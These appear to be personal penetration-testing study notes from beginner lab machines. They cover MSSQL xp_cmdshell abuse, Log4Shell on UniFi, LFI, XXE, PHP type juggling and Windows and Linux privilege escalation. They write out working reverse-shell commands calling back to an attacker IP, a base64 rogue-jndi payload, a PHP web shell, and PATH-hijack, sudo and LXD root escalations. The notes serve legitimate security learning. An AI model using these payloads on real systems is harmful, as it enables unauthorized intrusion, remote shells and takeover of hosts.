Penetration Testing Basics (3): Key Concepts and Commands
[General Concepts and Utilities]
- Concepts
1. Binding: Associate a specific IP address or port number with a process to receive connections. (e.g., A server binding to port 8080 is ready to accept connects on that port.)
2. Terminal vs Shell:
- Terminal: A window/interface to interact with the OS
- Shell: A program that processes commands and interacts with the OS (e.g., Bash, Powershell)
3. Flag vs Switch:
- Flag: A single option to enable or disable a behavior (e.g., -l)
- Switch: An option that may accept values to modify behavior (e.g., --color=auto)
4. Powershell: Built-in automation and scripting tool provided by Windows. Command-line shell and scripting language. Offer functionalities similar to Bash.
5. Interface vs Port:
- Interface: A network path through which data is transmitted. Represents a physical or virtual connection to a network (e.g., eth0, wlan0, tun0)
e.g., road
- Port: A number used to identify the specific application or service associated with the transmitted data. It helpts the operation system or application know where the data should be sent or received.
e.g., destination building number on that road
6. Batch Script: Files with extensions .bat or .cmd used in Windows to automate command-line tasks.
- Websites
1. HackTricks: A guide for penetration testing methodologies and resources:
https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-methodology?fallback=true
Pentesting Methodology | HackTricks
Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide.
book.hacktricks.xyz
2. GTFOBins: A list of Unix binaries that can bypass security restrictions:
https://gtfobins.github.io/
GTFOBins
pg Shell File read SUID Sudo
gtfobins.github.io
3. LOLBAS: A similar project for Window systems:
https://lolbas-project.github.io/
LOLBAS
lolbas-project.github.io
- Commands
1. whoami: Display the current username (e.g., 'www-data' is a common username for web server processes in Linux)
2. powershell -c:
- c: instruct the powershell to execute the command.
3. pwd: Print the current working directory
4. grep -i {keyword}: Ignore case sensitivity (e.g., matches password and Password)
5. bash -i : Start an interactive Bash shell.
6. nmap -A: Enable OS detection, version detection, script scanning, and traceroute
[Exploiting Microsoft SQL Server for Reverse Shells]
- Commands
- SMBClient Commands
1. smbclient -N -L \\\\{TARGET_IP}\\
-N: No password
-L: List shared services
2. smbclient -N \\\\{TARGET_IP}\\{Service_name}: Connect to a Service
- Using Impacket for MSSQL Exploitation
1. python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
: Connect to the MSSQL server
- window-auth: Uses Windows Authentication
2. SELECT is_srvrolemember('sysadmin'); : Check server role
- Returns 1: Indicates admin privileges
- Executing Commands on MSSQL
To execute system commands through MSSQL, you enable and use xp_cmdshell, and extended stored procedure in SQL server. This procedure allows executing Windows commands directly from SQL queries.
1. Enable command execution
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
- sp_configure: Changes SQL server settings
- xp_cmdshell: Enables executing system commands through the database
2. Run Windows commands
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell "whoami";
- net user: Manage user accounts on a Windows system.
- Setting Up a Reverse Shell
1. sudo python3 -m http.server 80: Host a file server
2. sudo nc -lvnp 443: Set up a listener
3. xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe": Upload reverse shell binary
- outfile: Specify the name of the downloaded file
4. xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.9 443": Execute reverse shell
- e: Executes cmd.exe
- cmd.exe: Windows command prompt
[Privilege Escalation]
- Concepts
1. winPEAS: A post-exploitation tool designed for Windows privilege escalation auditing. Identifies misconfigurations, vulnerabilities, and exploitable privileges
2. SeImpersonatePrivilege: A Windows privilege that allows a process or user account to impersonate another user or process. Commonly exploited in privilege excalation attacks.
3. Potato Familty
- A group of Windows privilege escalation exploits targeting token impersonation and COM (Component Object Model) services.
- COM: Microsoft technology for building reusable software components that can interact with each other within Windows applications.
1) Rotten Potato: Original exploit in the Potato family. Exploits Windows DCOM (Distributed COM) and NTLM authentication to escalate privileges to the SYSTEM account.
2) Juicy Potato: Improved version of Rotten Potato. Supports a broader range of COM objects. Exploits SeImpersonatePrivilege to escalate privileges to a local administrator or SYSTEM account.
3) Sweet Potato: Designed for modern environments where Juicy Potato no longer works (e.g., Windows 10, Windows Server 2019+). Bypasses the limitations of Juicy Potato by targeting updated COM services.
4) Rogue Potato: Advanced and versatile exploit targeting systems with patched mitigations against earlier Potato exploits.
5) Hot Potato: One of the earliest Potato techniques. Combines NBNS (NetBIOS Name Service) spoofing with NTLM authentication abuse.
-NetBIOS Name Service (NBNS): Protocol within the NetBIOS (Network Basic Input/Output System) suite. Resolves NetBIOS names (human-readable names like 'WORKSTATION1) to IP addresses. It is used in Windows networks.
- Commands
1. python3 -m http.server 80: Host a simple HTTP server on port 80 to serve files.
2. powershell: Switch to PowerShell. The prompt changes to 'PS'.
3. wget http://10.10.14.9/winPEASx64.exe -outfile winPEASx64.exe: Download a file
4. .\winPEASx64.exe: Execute
5. ConsoleHost_history.txt: Check for frequently access files or executed commands.
- Location: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ .
- Equivalent to: '.bash_history' in Linux
6. type ConsoleHost_history.txt: Read the file
7. python3 psexec.py administrator@{TARGET_IP}: Get an Administrator shell
- psexec.py: Part of the Impacket suite. Enables remote command execution over SMB
[Information Disclosure and Broken Access Control types]
- Concepts
1. Cookies: Small text files created by the web server and stored by the browser on the user's computer. Used to identify users and maintain session states while browsing a websie.
- Where to Find: Inspect element -> Storage -> Cookies (using browser developer tools)
- Cookie Editor: Grab cookie (e.g., PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1)
2. PATH : An environment variable in Unix-like systems and Windows that specifies directories where the system looks for executable programs
- echo $PATH: View PATH
3. SUID (Set Owner User ID): A file with SUID bit set will always execute as the owner of the file, regardless of the user who executes it.
- Commands
1. python3 -c 'import pty;pty.spawn("/bin/bash"): Upgrade a Limited Shell to an interactive shell
- c : Pass a string of Python code directly to the interpreter.
- import pty: Imports the pty module for pseudo-terminals handling
- pty.spawn(): Creates an interactive Bash shell
2. su {user_name}: Switch user
3. find / -group {group_name} 2>/dev/null: Fine files by group
- find: Search for files and directories
- / : Search from the root directory
- 2> : Redirect error messages (e.g, permission errors) to
- /dev/null : Special file that discards all input
4. Path hijacking: The system searches for executables in the order defined by the PATH variable. Attackers can manipulate PATH to execute malicious files instead of legitimate commands. (e.g., When cat is run, the system executes the malicious file /tmp/cat instead of the legitimate /bin/cat)
1) echo "/bin/sh" > /tmp/cat
2) chmod +x /tmp/cat
3) export PATH=/tmp:$PATH
- export: Make an environment variable (in this case, PATH) available to subprocesses of the current shell. Without export, changes to PATH would only affect the current shell session.
- /tmp:$PATH: Prepend '/tmp' to the existing PATH
4) echo $PATH : Displays the current PATH variable
[Enumeration & Privilege Escalation]
- Commands
1. unzip: Extract ZIP files
2. John the Ripper: A free password cracking tool
1) zip2john {zip_file} > hashes : Convert ZIP file to a hack format
2) john -wordlist=/usr/share/wordlists/rockyou.txt hashes: Crack the password
3) john --show hashes : Display the cracked password
3. Hashcat: A powerful password recovery and cracking tool
1) hashit {hash} : Identify hash type
4. sqlmap: An open-source tool to detect and exploit SQL injection vulnerabilties
1) sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' --cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1": Test and exploit SQL injection using cookies for authentication
2) sqlmap --os-shell: Gain OS shell access. Enable command execution but may not be interactive.
- bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1": Stabilize the shell
- >&: Redirect both stdout (standard output) and stderr (standard error) to a specified target.
- 0>&1: Redirect stdin (standard input) to the same location as stdout
5. python3 -c 'import pty;pty.spawn("/bin/bash")': Spawn an interactive Bash shell
6. CTRL+Z: Suspend the shell
7. stty raw -echo : Configure the terminal
- raw: Put the terminal in raw input mode, disabling special processing of input/output (e.g., Ctrl+C, Ctrl+Z signals).
- echo: Prevent echoing of typed commands
8. fg: Resume the shell (from CTRL+Z)
9. export TERM=xterm: Set the TERM environment variable to xterm. Set terminal type. Enable advanced terminal features like color and full-screen applications
10. sudo -l: List the commands that the current user is allowed to run with sudo
11. sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh' /dev/null: Exploit sudo privilege with 'vi'
- c: Execute a command in 'vi' on startup
- :!<command> : Run a shell command within the editor.
- /dev/null: Null device. Redirect output to hide it, making less noticeable to system administrators monitoring terminals
12. Commands in 'vi'
1) :set shell=/bin/sh : Set /bin/sh as the default shell
- /bin/sh: Bourne Shell. A lightweight shell interpreter for Unix/Linux systems.
2) :shell : Open a shell within the editor
[Exploiting Log4J in UniFi Network Appliance]
- Concepts
1. Unifi Network: A platform by Ubiquiti that managing networking devices such as routers, switches, and access points
- Default database name: ace
2. Log4J vulnerability (Log4Shell / CVE-2021-44228): A critical security flaw in the Log4j library, widely used for logging in Java applications. Exploits Java Naming and Directory Interface (JNDI) to execute arbitrary code on vulnerable systems. Gain unauthorized control over servers and applications.
- ${jndi:ldap://{Tun0 IP Address}/whatever}: Injected into a vulnerable application to trigger the flaw
3. JNDI (Java Naming and Directory Interface): API used in Java for locating resources or program objects (databases, directories, network services).
4. LDAP (Lightweight Directory Access Protocol ): A protocol used to access and maintain directory information services. Default port: 389
5. Program object: An object instance created from a class during the execution. It is a fundamental building block in object-oriented programming (OOP) and represents a real-world entity or concept encapsulated within a program.
6. tcpdump : Packet analyzer used to monitor network traffic
- sudo tcpdump -i tun0 port 389
-i : Select the interface. (e.g., eth0, wlan, tun0)
7. Open-JDK: Java Development kit used to build Java applications
8. Maven : Integrated Development Environment (IDE) to structure and compile Java projects into jar files .
9. rogue-jndi: Starts a local LDAP server and allows us to receive connections back from the vulnerable server and execute malicious code.
- Commands
1. echo 'bash -c bash -i >&/dev/tcp/{Your IP Address}/{A port of your choice} 0>&1' | base64
- Ctreate a Reverse shell payload
- base64: Encode a Bash reverse shell payload in Base64
2. java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64_STRING} | {base64,-d}|{bash,-i}" --hostname "{TUN0_IP}"
- Start Rogue-JNDI with Payload
--command: Injects the reverse shell payload
--hostname: Specifies the attacker's IP address.
3. script /dev/null -c bash: Upgrade the terminal shell
4. ps aux: Display running processes
5. mkpasswd -m sha-512 Password1234: Generates a SHA-512 hash of the new password. Replace the X_shadow password with this to authenticate to the admin panel.
- $6$: Identifier for the hashing algorithm, SHA-512
[Enumeration Techniques]
- Concepts
1. TFTP (Trivial File Transfer Protocol): A lightweight file transfer protocol with no authentication, using UDP
- Default Configuration File: /etc/default/tftpd-hpa
- Default Root Directory: /var/lib/tftpboot
2. UDP scans: Takes considerably longer time to complete compared to a TCP scan and it also requires superuser privileges
3. Lateral Movement: A tactic used by attackers to move deeper into a network after gaining initial access to one system or endpoint.
4. /var/www/html: The web-related files are usually stored in this folder
5. Turning LFI into RCE
1) The ultimate objective of a penetration tester exploiting LFI (Local File Inclusion) vulnerabilities is to escalate the attack into RCE (Remote Code Execution)
2) Techniques to escalate LFI to RCE
- Log poisoning: Inject malicious code or input into application logs. The server processes these logs unsafely, potentially executing the malicious payload.
- Plaintext Passwords in Configuration Files: Many applications store sensitive information like passwords in configuration files. These files can be included through LFI vulnerabilities, exposing credentials.
- Forgotten Backups: Many serverse maintain old or unmanaged backups of their files. These backups often contain sensitive data and are inadequately secured or monitored.
6. Privilege Escalation with LXD
1) LXD: A management API for LXC containers on Linux systems. Provides user-friendly CLI (lxc) and APIs to manage containers. Members of the lxd group can escalate privileges to root by abusing LXD's container management.
2) Alpine image: A lightweight, security-focused Linux distribution designed for use in containers (e.g, Docker, LXD).
3) Containers: Lightweight virtualization environments that package applications with their dependencies. Provide process isolation but can share the host's kernel.
4) Devices in LXD: Any additional resources (e.g., disk, GPU, NIC) attached to a container (e.g., Adding the host's root filesystem as a device for a container)
5) Snap: A packaging system developed by Canonical (creators of Ubuntu) for deploying software
- Commands
1. Apache and LFI
if ($_GET['file']) {
include($_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
1) if ($_GET['file']) {
-> Check if a file parameter exists in the URL (e.g., index.php?file=somefile.php).
2) include($_GET['file']);
-> The value of $_GET['file'] is included directly into the script.
-> This is where the vulnerability lies. An attacker can manipulate the file parameter to include malicious files or sensitive server files (e.g., /etc/passwd).
3) header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
-> If no file parameter is provided, the user is redirected to a URL with home.php as the default file.
2. Testing for LFI: Attackers can include a known system file
- /etc/passwd: A file that we know definitely exists on the system. A standard Linux file containing user information. (e.g., Structure - username:password:x:uid:gid:comment:home_directory:shell)
3. Directory Traversal: If a working directory is specified (__DIR__), attackers may need to use relative paths (e.g., ../../../etc/passwd).
if ($_GET['file']) {
include( __DIR__ . $_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
1) include( __DIR__ . $_GET['file']);
-> Includes the file specified by the file parameter, relative to the current directory (__DIR__).
-> __DIR__: acquire the current working directory
-> If we were to input /etc/passwd the full path would become /var/www/html/etc/passwd
4. Privelege Escalation with LXD
1) sudo usermod -aG lxd $USER: Add user ($USER) to the lxd group. Users in the lxd group can manage containers and potentially escalate privileges.
2) newgrp lxd: Apply the group change
3) python3 -m http.server 8000: Host a local file server
-m: Executes a module as a script directly from the command line
4) lxc image import lxd.tar.xz rootfs.squashfs --alias alpine: Import the necessary files to create a container
- lxd.tar.xz: Metadata file containing container settings.
- rootfs.squashfs: Compressed root filesystem for the container
--alias: Assigns an easy-to-use name (e.g., alpine)
5) lxc init alpine privesc -c security.privileged=true: Create a new container with elevated privileges but do not start it yet.
- alpine: Base image for the container
- privesc: Name of the new container (for privilege escalation)
-c security.privileged=true : Configures the container to run in privileged mode, giving the container root-level privileges on the host system.
6) lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true : Add the host's root filesystem as a mountable device for the container.
- lxc config device add: Adds a device/resource to the container configuration.
- host-root: Name of the device being added.
- disk: Device type
- source=/: Points to the root filesystem ( / ) of the host
- path=/mnt/root: Mounts the host's root filesystem inside the container at /mnt/root
- recursive=true: Ensures all subdirectories and files within / (host root) are accessible within the container.
7) lxc start privesc: Start the container
8) lxc exec privesc /bin/sh: Access the container and start a shell with root privileges
[XXE or XEE: XML External Entities]
- Concepts
1. XML (Extensible Markup Language): A markup language used to define a set of rules for encoding documents in a format that is both humanreadable and machine-readable.
e.g., <person> <name>John</name> <age>30</age> </person>
2. XML entity: An entity represents a piece of data within an XML document, often used to simplify or standardize its content.
e.g., < -> '<' / > -> '>'
3. XXE (XML Externel Entities): A security vulnerability that occurs when an XML parser processes external entities incorrectly (e.g., Read sensitive files, SSRF, Dos)
4. SSRF (Server Side Request Forgery): An attacker tricks the server into making unauthorized requests to internal or external resources.
5. CSRF (Cross-Site Request Forgery): A web security vulnerability where an attacker tricks a user into performing unintended actions on a trusted website where they are authenticated.
6. DTD (Document Type Definition): A set of rules or a blueprint that defines the structure of an XML document.
7. RSA key: A public-key cryptographic algorithm based on the mathematical properties of large prime numbers.
- Commands
1. whoami /priv: Displays the privileges assigned to the current user
e.g, SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
2. icacls {file}: Integrity Control Access Control Lists. A Windows command to manage file and folder permissions.
e.g., BUILTIN\Users:(F)
- BUILTIN\Users: all local users
- (F): full control over the file
3. schtasks : Used to view or manage currently scheduled tasks
4. cmd.exe: Windows command prompt, used for executing commands and scripts
5. netcat -e: Executes a specified program or command upon receiving a connection.
[PHP vulnerabilities and Exploitation Techniques]
- Concepts
1. Swap File: A virtual memory file (e.g., .swp ), used by operating systems or text editors like Vim to temporarily store the changes that are made to the buffer during operations. If a system or editor crashes, swap files allow recovery of unsaved changes.
2. Buffer: A temporary memory storage area used to hold data while it is being transferred between two locations, typically between a device and the CPU.
3. Type Juggling bug: A logical vulnerability in PHP where type comparison operators ( == vs === ) behave differently. The == operator compares only values, ignoring types, whereas === checks both value and type.
e.g., if (strcmp($password, $storedPassword) == 0) {
echo "Authenticated";
}
- If $password is an empty array ( [] ), strcmp returns NULL, which is interpreted as 0, allowing authentication
- Fix:
if (strcmp($password, $storedPassword) === 0) {
echo "Authenticated";
}
- Commands
1. strings login.php.swp: Extracts human-readable text from binary files or swap files.
2. tac: Reads files in reverse order. Useful for analyzing logs where the most recent entries are at the bottom.
3. <?php echo system($_REQUEST['cmd']);?>: A malicious PHP script that provides an attacker with a command execution interface.
4. ls /home: Lists user directories, which may help in targeting specific user accounts
5. sudo -l: Lists commands that the current can execute with sudo. Useful for privilege escalation
6. sudo find -exec /bin/sh \; -quit
- find: Recursively search starting from the current directory (if no path is specified)
- exec: Executes a command for each file found.
- \; : Ends the -exec command.
- quit : Exits after the first match, making the exploit faster